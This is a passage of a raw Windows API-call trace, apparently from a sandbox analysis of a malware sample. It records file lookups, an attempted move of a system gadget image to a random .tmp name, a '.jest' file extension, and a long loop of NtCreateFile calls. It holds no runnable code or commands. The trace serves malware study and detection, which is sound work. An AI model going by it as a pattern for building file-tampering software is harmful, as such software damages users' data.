lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png.jest") returned 84 [0125.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png", lpUsedDefaultChar=0x0) returned 79 [0125.953] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png", lpFilePart=0x18e6d8*="novelty.png") returned 0x4e [0125.953] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e10602, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e10602, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fcfd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6408, dwReserved0=0x78, dwReserved1=0x0, cFileName="novelty.png", cAlternateFileName="")) returned 0x143ce48 [0125.953] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.954] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.954] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x33b)) [0125.954] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x33b)) [0125.954] GetUserDefaultLCID () returned 0x409 [0125.954] VarBstrFromR4 (in: fltIn=0x479444ea, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.83") returned 0x0 [0125.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="î") returned 1 [0125.955] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0125.956] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0125.956] GetTickCount () returned 0x1151f06 [0125.956] GetTickCount () returned 0x1151f06 [0125.956] GetTickCount () returned 0x1151f06 [0125.956] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.956] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.956] GetTickCount () returned 0x1151f06 [0125.956] IsWindowVisible (hWnd=0x30268) returned 0 [0125.956] Sleep (dwMilliseconds=0x0) [0125.956] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.957] GetFullPathNameA (in: lpFileName="LA9hYGrP5aFnq1nXTtKzm_yPYDzBpSM12 mvxjLv3W6iv26oVdvTJNQniqldTbwVQGmuKDYqgZGlWguY7i5EjOSD1tRjA10oh7.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LA9hYGrP5aFnq1nXTtKzm_yPYDzBpSM12 mvxjLv3W6iv26oVdvTJNQniqldTbwVQGmuKDYqgZGlWguY7i5EjOSD1tRjA10oh7.tmp", lpFilePart=0x18e708*="LA9hYGrP5aFnq1nXTtKzm_yPYDzBpSM12 mvxjLv3W6iv26oVdvTJNQniqldTbwVQGmuKDYqgZGlWguY7i5EjOSD1tRjA10oh7.tmp") returned 0x8d [0125.957] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png", lpFilePart=0x18e708*="novelty.png") returned 0x4e [0125.957] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LA9hYGrP5aFnq1nXTtKzm_yPYDzBpSM12 mvxjLv3W6iv26oVdvTJNQniqldTbwVQGmuKDYqgZGlWguY7i5EjOSD1tRjA10oh7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\la9hygrp5afnq1nxttkzm_ypydzbpsm12 mvxjlv3w6iv26ovdvtjnqniqldtbwvqgmukdyqgzglwguy7i5ejosd1trja10oh7.tmp")) returned 0 [0125.957] GetLastError () returned 0x5 [0125.957] GetLastError () returned 0x5 [0125.957] SetLastError (dwErrCode=0x5) [0125.958] GetLastError () returned 0x5 [0125.958] SetLastError (dwErrCode=0x5) [0125.958] GetLastError () returned 0x5 [0125.958] SetLastError (dwErrCode=0x5) [0125.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.958] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0125.958] GetFullPathNameA (in: lpFileName="LA9hYGrP5aFnq1nXTtKzm_yPYDzBpSM12 mvxjLv3W6iv26oVdvTJNQniqldTbwVQGmuKDYqgZGlWguY7i5EjOSD1tRjA10oh7.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LA9hYGrP5aFnq1nXTtKzm_yPYDzBpSM12 mvxjLv3W6iv26oVdvTJNQniqldTbwVQGmuKDYqgZGlWguY7i5EjOSD1tRjA10oh7.tmp", lpFilePart=0x18e6e4*="LA9hYGrP5aFnq1nXTtKzm_yPYDzBpSM12 mvxjLv3W6iv26oVdvTJNQniqldTbwVQGmuKDYqgZGlWguY7i5EjOSD1tRjA10oh7.tmp") returned 0x8d [0125.958] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LA9hYGrP5aFnq1nXTtKzm_yPYDzBpSM12 mvxjLv3W6iv26oVdvTJNQniqldTbwVQGmuKDYqgZGlWguY7i5EjOSD1tRjA10oh7.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6839414c, cFileName="YGrP5aFnq1nXTtKzm_yPYDzBpSM12 mvxjLv3W6iv26oVdvTJNQniqldTbwVQGmuKDYqgZGlWguY7i5EjOSD1tRjA10oh7.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.958] GetLastError () returned 0x2 [0125.959] GetLastError () returned 0x2 [0125.959] SetLastError (dwErrCode=0x2) [0125.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.959] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.961] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.961] GetLastError () returned 0x0 [0125.961] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.962] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.962] GetLastError () returned 0x0 [0125.962] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.963] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.963] GetLastError () returned 0x0 [0125.963] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.963] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.963] GetLastError () returned 0x0 [0125.963] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.964] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.964] GetLastError () returned 0x0 [0125.964] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.964] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.964] GetLastError () returned 0x0 [0125.964] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.965] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.965] GetLastError () returned 0x0 [0125.965] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.965] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.965] GetLastError () returned 0x0 [0125.965] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.966] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.966] GetLastError () returned 0x0 [0125.966] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.966] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.966] GetLastError () returned 0x0 [0125.966] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.967] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.967] GetLastError () returned 0x0 [0125.967] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.967] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.967] GetLastError () returned 0x0 [0125.967] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.967] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.968] GetLastError () returned 0x0 [0125.968] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.968] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.969] GetLastError () returned 0x0 [0125.969] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.969] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.969] GetLastError () returned 0x0 [0125.969] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.969] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.969] GetLastError () returned 0x0 [0125.970] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.970] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.970] GetLastError () returned 0x0 [0125.970] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.970] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.970] GetLastError () returned 0x0 [0125.970] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.971] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.971] GetLastError () returned 0x0 [0125.971] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.971] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.971] GetLastError () returned 0x0 [0125.971] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.972] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.972] GetLastError () returned 0x0 [0125.972] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.972] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.972] GetLastError () returned 0x0 [0125.972] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.973] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.973] GetLastError () returned 0x0 [0125.973] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.973] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.973] GetLastError () returned 0x0 [0125.973] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.973] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.974] GetLastError () returned 0x0 [0125.974] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.974] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.974] GetLastError () returned 0x0 [0125.974] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.974] NtCreateFile (in: 